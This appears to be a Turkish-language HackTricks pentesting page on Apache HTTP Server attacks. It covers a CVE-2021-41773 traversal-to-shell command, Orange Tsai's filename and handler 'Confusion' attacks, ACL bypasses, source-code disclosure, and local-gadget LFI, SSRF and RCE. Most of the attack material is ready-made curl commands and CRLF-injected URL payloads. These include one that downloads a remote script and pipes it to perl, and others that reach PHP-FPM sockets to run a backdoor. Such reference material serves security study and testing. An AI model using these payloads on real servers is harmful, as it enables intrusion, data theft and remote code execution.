Apache
Reading time: 10 minutes
tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- Bize katılın 💬 Discord grubuna veya telegram grubuna veya bizi takip edin Twitter'da 🐦 @hacktricks_live.
- Hacking ipuçlarını paylaşın, HackTricks ve HackTricks Cloud github reposuna PR göndererek.
Çalıştırılabilir PHP uzantıları
Apache sunucusunun hangi uzantıları çalıştırdığını kontrol edin. Onları aramak için şunu çalıştırabilirsiniz:
grep -R -B1 "httpd-php" /etc/apache2
Ayrıca, bu yapılandırmayı bulabileceğiniz bazı yerler şunlardır:
/etc/apache2/mods-available/php5.conf
/etc/apache2/mods-enabled/php5.conf
/etc/apache2/mods-available/php7.3.conf
/etc/apache2/mods-enabled/php7.3.conf
CVE-2021-41773
curl http://172.18.0.15/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; id; uname'
uid=1(daemon) gid=1(daemon) groups=1(daemon)
Linux
Confusion Attack
Bu tür saldırılar Orange tarafından bu blog yazısında tanıtılmış ve belgelenmiştir ve aşağıda bir özet bulunmaktadır. "Confusion" saldırısı, temelde Apache'i oluşturan onlarca modülün mükemmel bir şekilde senkronize çalışmamasını istismar eder ve bunlardan bazılarını beklenmedik verileri değiştirmeye zorlamak, sonraki bir modülde bir zafiyete neden olabilir.
Filename Confusion
Truncation
mod_rewrite
, r->filename
içeriğini ?
karakterinden sonra keser (modules/mappers/mod_rewrite.c#L4141). Bu tamamen yanlış değildir çünkü çoğu modül r->filename
'ı bir URL olarak ele alır. Ancak diğer durumlarda bu bir dosya yolu olarak ele alınır, bu da bir probleme yol açabilir.
- Path Truncation
mod_rewrite
'ı, beklenen yolun son kısmını basitçe bir ?
ekleyerek kaldırarak dosya sistemindeki diğer dosyalara erişmek için aşağıdaki kural örneğinde olduğu gibi istismar etmek mümkündür:
RewriteEngine On
RewriteRule "^/user/(.+)$" "/var/user/$1/profile.yml"
# Expected
curl http://server/user/orange
# the output of file `/var/user/orange/profile.yml`
# Attack
curl http://server/user/orange%2Fsecret.yml%3F
# the output of file `/var/user/orange/secret.yml`
- Yanıltıcı RewriteFlag Ataması
Aşağıdaki yeniden yazma kuralında, URL .php ile bittiği sürece php olarak işlenecek ve yürütülecektir. Bu nedenle, ?
karakterinden sonra .php ile biten bir URL göndermek ve yolda kötü niyetli php kodu içeren farklı bir dosya türü (örneğin bir resim) yüklemek mümkündür:
RewriteEngine On
RewriteRule ^(.+\.php)$ $1 [H=application/x-httpd-php]
# Attacker uploads a gif file with some php code
curl http://server/upload/1.gif
# GIF89a <?=`id`;>
# Make the server execute the php code
curl http://server/upload/1.gif%3fooo.php
# GIF89a uid=33(www-data) gid=33(www-data) groups=33(www-data)
ACL Bypass
Kullanıcının erişim izni olmaması gereken dosyalara, erişimin reddedilmesi gereken yapılandırmalarla bile erişmek mümkündür:
<Files "admin.php">
AuthType Basic
AuthName "Admin Panel"
AuthUserFile "/etc/apache2/.htpasswd"
Require valid-user
</Files>
Bu, varsayılan olarak PHP-FPM'nin .php
ile biten URL'leri almasıdır, örneğin http://server/admin.php%3Fooo.php
ve çünkü PHP-FPM ?
karakterinden sonraki her şeyi kaldıracak, önceki URL /admin.php
'yi yüklemeye izin verecektir, önceki kural bunu yasaklasa bile.
DocumentRoot Karışıklığı
DocumentRoot /var/www/html
RewriteRule ^/html/(.*)$ /$1.html
Apache hakkında eğlenceli bir gerçek, önceki yeniden yazmanın dosyayı hem documentRoot'tan hem de kök dizinden erişmeye çalışmasıdır. Yani, https://server/abouth.html
isteği, dosyayı dosya sisteminde /var/www/html/about.html
ve /about.html
konumlarında kontrol edecektir. Bu, dosya sistemindeki dosyalara erişim sağlamak için kötüye kullanılabilir.
Sunucu Tarafı Kaynak Kodu Açığa Çıkarma
- CGI Kaynak Kodunu Açığa Çıkarma
Sonuna sadece bir %3F eklemek, bir cgi modülünün kaynak kodunu sızdırmak için yeterlidir:
curl http://server/cgi-bin/download.cgi
# the processed result from download.cgi
curl http://server/html/usr/lib/cgi-bin/download.cgi%3F
# #!/usr/bin/perl
# use CGI;
# ...
# # the source code of download.cgi
- PHP Kaynak Kodunu Açığa Çıkarma
Eğer bir sunucuda statik bir alan adı da dahil olmak üzere farklı alan adları varsa, bu durum dosya sisteminde gezinmek ve php kodunu açığa çıkarmak için kötüye kullanılabilir:
# Leak the config.php file of the www.local domain from the static.local domain
curl http://www.local/var/www.local/config.php%3F -H "Host: static.local"
# the source code of config.php
Yerel Aletlerin Manipülasyonu
Önceki saldırının ana sorunu, varsayılan olarak dosya sistemine erişimin çoğunun Apache HTTP Server’ın konfigürasyon şablonunda reddedilmesidir:
<Directory />
AllowOverride None
Require all denied
</Directory>
Ancak, Debian/Ubuntu işletim sistemleri varsayılan olarak /usr/share
dizinine izin verir:
<Directory /usr/share>
AllowOverride None
Require all granted
</Directory>
Bu nedenle, bu dağıtımlardaki /usr/share
içinde bulunan dosyaların istismar edilmesi mümkün olacaktır.
Yerel Gadget ile Bilgi Sızıntısı
- Apache HTTP Server ile websocketd, /usr/share/doc/websocketd/examples/php/ altında dump-env.php script'ini açığa çıkarabilir, bu da hassas ortam değişkenlerini sızdırabilir.
- Nginx veya Jetty ile sunucular, varsayılan web kökleri altında yer alan hassas web uygulama bilgilerini (örneğin, web.xml) açığa çıkarabilir:
- /usr/share/nginx/html/
- /usr/share/jetty9/etc/
- /usr/share/jetty9/webapps/
Yerel Gadget ile XSS
- LibreOffice yüklü Ubuntu Desktop'ta, yardım dosyalarının dil değiştirme özelliğinin istismarı Cross-Site Scripting (XSS) ile sonuçlanabilir. /usr/share/libreoffice/help/help.html adresindeki URL'yi manipüle etmek, kötü niyetli sayfalara veya eski sürümlere yönlendirebilir.
Yerel Gadget ile LFI
- PHP veya JpGraph veya jQuery-jFeed gibi belirli ön uç paketleri yüklüyse, bu dosyalar /etc/passwd gibi hassas dosyaları okumak için istismar edilebilir:
- /usr/share/doc/libphp-jpgraph-examples/examples/show-source.php
- /usr/share/javascript/jquery-jfeed/proxy.php
- /usr/share/moodle/mod/assignment/type/wims/getcsv.php
Yerel Gadget ile SSRF
- MagpieRSS'in magpie_debug.php dosyasını /usr/share/php/magpierss/scripts/magpie_debug.php adresinde kullanarak, kolayca bir SSRF açığı oluşturulabilir ve daha fazla istismar için bir kapı sağlanabilir.
Yerel Gadget ile RCE
- Remote Code Execution (RCE) için fırsatlar geniştir; eski bir PHPUnit veya phpLiteAdmin gibi savunmasız kurulumlar vardır. Bunlar, rastgele kod çalıştırmak için istismar edilebilir ve yerel gadget manipülasyonunun geniş potansiyelini sergileyebilir.
Yerel Gadget'lerden Jailbreak
Ayrıca, bu klasörlerdeki kurulu yazılımlar tarafından oluşturulan sembolik bağlantıları takip ederek izin verilen klasörlerden jailbreak yapmak da mümkündür, örneğin:
- Cacti Log:
/usr/share/cacti/site/
->/var/log/cacti/
- Solr Data:
/usr/share/solr/data/
->/var/lib/solr/data
- Solr Config:
/usr/share/solr/conf/
->/etc/solr/conf/
- MediaWiki Config:
/usr/share/mediawiki/config/
->/var/lib/mediawiki/config/
- SimpleSAMLphp Config:
/usr/share/simplesamlphp/config/
->/etc/simplesamlphp/
Ayrıca, sembolik bağlantıları istismar ederek Redmine'de RCE elde etmek mümkün olmuştur.
Handler Karışıklığı
Bu saldırı, AddHandler
ve AddType
direktifleri arasındaki işlevselliğin örtüşmesini istismar eder; her ikisi de PHP işleme etkinleştirmek için kullanılabilir. Başlangıçta, bu direktifler sunucunun iç yapısındaki farklı alanları (r->handler
ve r->content_type
sırasıyla) etkiliyordu. Ancak, eski kod nedeniyle, Apache bu direktifleri belirli koşullar altında birbirinin yerine kullanır; eğer r->content_type
ayarlanmışsa, r->handler
olarak dönüştürür.
Ayrıca, Apache HTTP Server'da (server/config.c#L420
), ap_run_handler()
çalıştırılmadan önce r->handler
boşsa, sunucu r->content_type
'i handler olarak kullanır, bu da AddType
ve AddHandler
'ı etkili bir şekilde aynı hale getirir.
PHP Kaynak Kodunu Açığa Çıkarmak için Handler'ı Üzerine Yazma
bu konuşmada, bir istemci tarafından gönderilen yanlış bir Content-Length
'in Apache'nin yanlışlıkla PHP kaynak kodunu döndürmesine neden olabileceği bir zafiyet sunulmuştur. Bu, ModSecurity ve Apache Portable Runtime (APR) ile ilgili bir hata yönetimi sorunu nedeniyle, çift yanıtın r->content_type
'ı text/html
olarak üzerine yazmasına yol açmıştır.
ModSecurity, dönüş değerlerini düzgün bir şekilde yönetmediği için, PHP kodunu döndürür ve bunu yorumlamaz.
XXXX için Handler'ı Üzerine Yazma
TODO: Orange bu zafiyeti henüz açıklamadı
Rastgele Handler'ları Çağırma
Eğer bir saldırgan, sunucu yanıtındaki Content-Type
başlığını kontrol edebiliyorsa, rastgele modül handler'larını çağırma yeteneğine sahip olacaktır. Ancak, saldırgan bunu kontrol ettiğinde, isteğin çoğu süreci tamamlanmış olacaktır. Ancak, Location
başlığını istismar ederek isteği yeniden başlatmak mümkündür; çünkü eğer **dönülen Status
200 ise ve Location
başlığı /
ile başlıyorsa, yanıt Sunucu Tarafı Yönlendirmesi olarak işlenir ve işlenmelidir.
RFC 3875 (CGI hakkında spesifikasyon) Bölüm 6.2.2'de Yerel Yönlendirme Yanıtı davranışını tanımlar:
CGI script'i, bir Yerel kaynak için bir URI yolu ve sorgu dizisi ('local-pathquery') döndürebilir. Bu, sunucuya belirtilen yolu kullanarak isteği yeniden işlemesi gerektiğini gösterir.
Bu nedenle, bu saldırıyı gerçekleştirmek için aşağıdaki zafiyetlerden birine ihtiyaç vardır:
- CGI yanıt başlıklarında CRLF Enjeksiyonu
- Yanıt başlıklarının tam kontrolü ile SSRF
Rastgele Handler ile Bilgi Sızıntısı
Örneğin, /server-status
yalnızca yerel olarak erişilebilir olmalıdır:
<Location /server-status>
SetHandler server-status
Require local
</Location>
Content-Type
'ı server-status
olarak ayarlayıp Location başlığını /
ile başlatarak erişmek mümkündür.
http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
Location:/ooo %0d%0a
Content-Type:server-status %0d%0a
%0d%0a
Rastgele İşleyici ile Tam SSRF
Herhangi bir URL'deki herhangi bir protokole erişmek için mod_proxy
'ye yönlendirme:
http://server/cgi-bin/redir.cgi?r=http://%0d%0a
Location:/ooo %0d%0a
Content-Type:proxy:
http://example.com/%3F
%0d%0a
%0d%0a
Ancak, X-Forwarded-For
başlığı, bulut meta veri uç noktalarına erişimi engelleyecek şekilde eklenmiştir.
Yerel Unix Domain Socket'e Erişim için Keyfi İşleyici
PHP-FPM'nin yerel Unix Domain Socket'ine erişerek /tmp/
dizininde bulunan bir PHP arka kapısını çalıştırın:
http://server/cgi-bin/redir.cgi?r=http://%0d%0a
Location:/ooo %0d%0a
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/tmp/ooo.php %0d%0a
%0d%0a
Rastgele İşleyici ile RCE
Resmi PHP Docker imajı, RCE elde etmek için kötüye kullanılabilecek bir komut satırı PHP paket yönetim aracı olan PEAR (Pearcmd.php
) içerir:
http://server/cgi-bin/redir.cgi?r=http://%0d%0a
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}
orange.tw/x|perl
) %2b alltests.php %0d%0a
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a
%0d%0a
Docker PHP LFI Özeti için Docker PHP LFI Summary bağlantısını kontrol edin, bu teknikle ilgili detaylar için Phith0n tarafından yazılmıştır.
Referanslar
tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- Bize katılın 💬 Discord grubuna veya telegram grubuna veya bizi takip edin Twitter'da 🐦 @hacktricks_live.
- Hacking ipuçlarını paylaşın, HackTricks ve HackTricks Cloud github reposuna PR göndererek.